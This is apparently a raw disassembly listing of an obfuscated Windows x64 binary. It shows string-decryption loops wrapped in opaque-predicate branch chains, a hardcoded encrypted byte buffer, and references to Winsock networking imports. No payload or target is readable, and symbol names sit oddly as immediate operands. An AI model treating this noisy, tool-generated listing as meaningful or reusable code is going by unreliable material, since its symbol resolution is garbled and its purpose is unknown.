add r10, rcx
add r10, rbx
add r10b, 0x48
jmp 0x1400749e6
je 0x14007566f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400755d1
lea rax, [r9 + 5]
cmp r8, rax
je 0x140075596
lea rax, [r9 + 4]
cmp r8, rax
je 0x140075550
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400754fc
cmp r9, r11
ja 0x1400756ef
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x140074a13
lea rdx, [r11 + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x140074a50
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400754eb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400754b3
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007548c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140075457
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14007507c
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140075059
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007502d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140074fff
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140074ff0
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140074fdc
lea rax, [r9 + 6]
cmp r8, rax
je 0x140074fa9
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140074f81
lea rcx, [r9 + 0x28]
cmp r8, rcx
je 0x140074f5e
lea rax, [r9 + 8]
cmp r8, rax
je 0x140074f24
lea rax, [r9 + 2]
cmp r8, rax
je 0x140074a60
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x1400756cc
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400756a4
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140074c4f
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x140074c35
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x140074c16
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x140074ec1
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140074e5f
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x140074e10
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x140074ddd
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140074a60
lea r8, [r9 + 0x1000]
lea r9, [r8 + 5]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140074da8
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140074d80
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140074d5d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140074d25
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140074d06
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140074ce3
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140074cb5
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140074c89
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140074c75
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140074a60
lea r8, [r9 + 3]
lea r9, [r8 + 0x40]
jmp 0x140074a60
lea rdx, [r11 + r14]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140074a50
lea rcx, [r11 + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x1400749e6
movabs rdx, 0x32004fd5935ee1b8
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub dl, 8
add r10b, dl
jmp 0x140074976
movabs rdx, 0x1666c9bfd3d6c940
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14007550b
movabs rcx, 0x5622844cc82c9c30
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
inc r9
dec r11
inc r11
jmp 0x140074963
movabs rdx, 0x95de3ed9bc826f20
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x140074963
movabs rcx, 0xd599f966b0d84210
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x70
jmp 0x14007556e
movabs rcx, 0x1555b3f3a52e1500
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
jmp 0x1400755b9
movabs rdx, 0x55116e809983e7f0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140074963
movabs rcx, 0x94cd290d8dd9bae0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x1400755f2
movabs rdx, 0xd488e39a822f8dd0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140075625
movabs rcx, 0x14449e27768560c0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
movzx eax, byte [rbp + r11 + 0xb18]
add rax, r9
add r11, rax
inc r11
jmp 0x140074963
movabs rdx, 0xb399f087d95bf018
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
mov byte [rbp + r11 + 0xb18], r10b
inc r11
jmp 0x140074963
movabs rcx, 0xf355ab14cdb1c308
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
cmp r9, 0x400
jb 0x140074e00
movabs rdx, 0x4d99d5eb52e6fa30
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14007551f
movabs rdx, 0x331165a1c20795f8
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r8, 0x20
jae 0x1400753fc
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14007528d
movabs rdx, 0xcaef1f6cde413790
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140074e2e
movabs rcx, 0x72cd202eb65d68e8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x58
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x14007542c
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x140075192
movabs rdx, 0x68224634e3c65e68
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140074e82
movabs rdx, 0x50cd174fdee116f0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0xb18]
add rax, r9
add r11, rax
inc r11
jmp 0x140074963
movabs rcx, 0x9088d1dcd336e9e0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x140075625
movabs rdx, 0xd0448c69c78cbcd0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400755f2
movabs rcx, 0x100046f6bbe28fc0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140074963
movabs rdx, 0x4fbc0183b03862b0
mov ecx, Ordinal_26
jmp 0x1400755a5
movabs rcx, 0x8f77bc10a48e35a0
jmp 0x14007513e
movabs rdx, 0xcf33769d98e40890
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x140074963
movabs rcx, 0xeef312a8d39db80
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
inc r9
dec r11
inc r11
jmp 0x140074963
movabs rcx, 0x4eaaebb7818fae70
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x14007551f
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400750a4
lea rdx, [r11 + r13]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140074edf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400750e2
movabs rcx, 0xc599b26ff4f5b250
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x30
movzx eax, byte [rbp + r11 + 0xb18]
add rax, r9
add r11, rax
inc r11
jmp 0x140074963
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007510e
movabs rcx, 0x46223d560c4a0c70
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x1400755f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007512b
movabs rdx, 0xc6aac83c239e6690
mov ecx, 8
jmp 0x1400755a5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140075157
movabs rcx, 0x86ef0daf2f4893a0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x14007556e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140074edf
movabs rdx, 0x473353223af2c0b0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec r11
inc r11
jmp 0x140074963
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400751be
movabs rcx, 0x28668ba7ef708b78
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
jmp 0x14007551f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400751f0
movabs rcx, 0xa8ef168e06c4e598
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x28
dec r11
inc r11
jmp 0x140074963
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007521c
movabs rcx, 0x2977a1741e193fb8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 8
jmp 0x1400755b9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140075258
movabs rcx, 0xe9bbe6e729c36cc8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140074963
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140074e82
movabs rdx, 0xaa002c5a356d99d8
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400755f2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400752cb
movabs rcx, 0x8b3364dfe9eb64a0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
movzx eax, byte [rbp + r11 + 0xb18]
add rax, r9
add r11, rax
inc r11
jmp 0x140074963
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400752f7
movabs rcx, 0xbbbefc6013fbec0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
jmp 0x1400755f2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140075338
movabs rdx, 0xcc0035390ce9ebd0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140074963
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140075364
movabs rcx, 0x8c447aac189418e0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x1400755b9
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140075395
movabs rdx, 0x4c88c01f243e45f0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007556e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400753c3
movabs rcx, 0xccd05922fe87300
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
dec r11
inc r11
jmp 0x140074963
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140074e2e
movabs rcx, 0xcd114b053b92a010
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x70
inc r9
dec r11
inc r11
jmp 0x140074963
movabs rdx, 0xdde1b5e5e912740
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + r11 + 0xb18]
add r10b, dl
add r10b, bl
jmp 0x14007556e
movabs rcx, 0xce2260d16a3b5450
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0xb18]
lea r10d, [rbx + rcx]
sub r10b, 0x30
jmp 0x1400755f2
movabs rcx, 0x25334a4363766eb8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 8
movzx eax, byte [rbp + r11 + 0xb18]
add rax, r9
add r11, rax
inc r11
jmp 0x140074963
movabs rdx, 0xa4aabf5d4c221498
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x1400755f2
movabs rdx, 0xe46679ea4077e788
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140074963
movabs rdx, 0x23111eab06250638
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14007550b
movabs rdx, 0xa28893c4eed0ac18
mov ecx, Ordinal_45
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movabs rcx, 0x2dbbf8a4d8bc10b8
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 8
add bl, cl
mov byte [rbp + r11 + 0xb18], bl
inc r9
dec r11
inc r11
jmp 0x140074963
movabs rcx, 0x61bbc36bcbd224e8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x58
movabs rcx, 0xee003e17e4663dc8
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x78
add bl, cl
add bl, r10b
mov byte [rbp + r11 + 0xb18], bl
jmp 0x1400755b9
movabs rdx, 0xa1777df8c027f7d8
mov ecx, recv
add rdx, r11
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140074963
mov rbx, rdx
movabs rcx, 0x20eef312a8d39db8
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 8
movabs rdx, 0xae44838af0106ad8
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0xb18], al
inc r9
add rax, r9
sub r11, rax
movabs rdx, 0x8e66a64475e58160
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0xb18], cl
inc r8
mov rax, r12
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0xb18]
add rax, r9
add r11, rax
inc r11
jmp 0x140074963
movabs rcx, 0xa066682c917f4398
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x28
movzx eax, byte [rbp + r11 + 0xb18]
add rax, r9
add r11, rax
inc r11
jmp 0x140074963
movabs rdx, 0x71bc0a6287b4b4a8
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140074960
movabs rcx, 0xb177c4ef7c0a8798
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x28
jmp 0x140074950
lea rcx, [rbp + 0x16b2e78]
jmp 0x140075708
lea rcx, [rbp + 0xc04500]
jmp 0x140075708
lea rcx, [rbp + 0xb18]
mov rdx, rdi
call fcn.140035c60
movss xmm1, dword [0x1401bf9b8]
xorps xmm0, xmm0
call fcn.140017760
movss xmm2, dword [0x1401bf93c]
movss xmm1, dword [0x1401bf950]
lea rcx, [rbp - 0x7c]
call fcn.140006440
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [0x140225c30]
call fcn.14006e970
test al, al
je 0x1400757be
lea rdx, [0x140226170]
lea rcx, [rbp + 0x3e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
lea rdx, [0x140225c30]
call fcn.1400a2a40
cmp dword [reloc.WS2_32.dll_accept], 0
sete byte [rsp + 0x50]
lea rdx, [0x140226190]
lea rcx, [rbp + 0x408]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400a2a60
lea rdx, [0x140226170]
lea rcx, [rbp + 0x428]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1f0
mov ecx, dword [rax]
cmp dword [0x140225c30], ecx
je 0x140075823
lea rdx, [0x140226170]
lea rcx, [rbp + 0x448]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
lea rdx, [0x140225c30]
call fcn.1400a2a40
lea rdx, [0x140226190]
lea rcx, [rbp + 0x468]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
xor ecx, ecx
mov r8d, dword [reloc.WS2_32.dll_accept]
test r8d, r8d
sete cl
movzx eax, byte [rax]
cmp ecx, eax
je 0x14007589a
test r8d, r8d
sete byte [rsp + 0x40]
lea rdx, [0x140226190]
lea rcx, [rbp + 0x488]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.1400a2a60
lea rdx, [0x1402261d0]
lea rcx, [rbp + 0x4a8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0xb40], 0xe3
mov byte [rbp + 0xb41], Ordinal_200
mov byte [rbp + 0xb42], 0xcb
mov byte [rbp + 0xb43], Ordinal_211
mov byte [rbp + 0xb44], Ordinal_211
mov byte [rbp + 0xb45], 0xbc
mov byte [rbp + 0xb46], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb47], 0xf6
mov byte [rbp + 0xb48], Ordinal_50
mov byte [rbp + 0xb49], gethostname
mov byte [rbp + 0xb4a], 0xca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb4b], xmm0
mov qword [rbp + 0xb5b], rax
movabs rsi, 0x3cc5fad7fb70cc58
movabs r13, 0xb9c048e5b6a3d8f8
movabs r14, 0xdb6794ba2af6cea8
movabs r15, 0x67e702eebdaf1cb8
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007665f
movzx r11d, byte [rbp + rbx + 0xb40]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140076656
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400759bc
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x38
jmp 0x1400759e0
je 0x1400765cb
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007656a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007653b
nop dword [rax]
cmp r9, rbx
ja 0x14007664d
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x140075a0d
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x140075a40
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400764e5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400764bb
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007641f
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007608a
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140076076
lea rax, [r9 + 9]
cmp r8, rax
je 0x140076049
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007601f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140075ff6
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140075fd2
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140075f99
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140075f75
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140075f4c
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140075f17
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140075a50
lea r8, [r9 + 5]
lea r9, [r8 + 6]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140076628
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400765ff
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140075c39
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140075c1e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140075bfe
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140075ec0
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140075e61
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140075e15
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140075de1
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140075a50
lea r8, [r9 + 6]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140075da7
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140075d83
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140075d5a
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140075d26
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140075d06
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140075cdd
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140075cb3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140075c81
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140075c5d
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140075a50
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x5a]
jmp 0x140075a50
lea rdx, [rbx + r14]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075a40
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x1400759e0
movabs rcx, 0xf466712350676ac8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x140075985
movabs rcx, 0xe62fd6bfdb8662c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x140076509
movabs rdx, 0x72af44f46e3eb0d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140075972
movabs rcx, 0xff2eb32900f6fee0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140075972
movabs rdx, 0x8bae215d93af4cf0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140076589
movabs rcx, 0x182d8f9226679b00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x1400765b3
movabs rcx, 0xa4acfdc6b91fe910
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075972
movabs rdx, 0x312c6bfb4bd83720
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007643e
movabs rcx, 0xbdabda2fde908530
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x140076472
movabs rdx, 0x4a2b48647148d340
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075972
movabs rdx, 0xa969dbe7e0159668
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0xb40], r10b
inc rbx
jmp 0x140075972
movabs rcx, 0x35e94a1c72cde478
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
cmp r9, 0x2a
jb 0x140075e05
movabs rcx, 0x29d0b86c54872d0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x60]
jmp 0x140076509
movabs rdx, 0xc268b85105863288
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r8, 9
jae 0x1400763c1
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400762b1
movabs rcx, 0x7f975994807b7f70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x140075e34
movabs rcx, 0x4ee82685983e8098
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
lea rax, [r9 + r8]
cmp rax, 8
je 0x1400763f1
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140076198
movabs rdx, 0x42d15ebc850ab318
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
jmp 0x140075e79
movabs rcx, 0x6ca3e10fe4a4ca10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0xb40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075972
movabs rdx, 0xf9234f44775d1820
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140076472
movabs rcx, 0x85a2bd790a156630
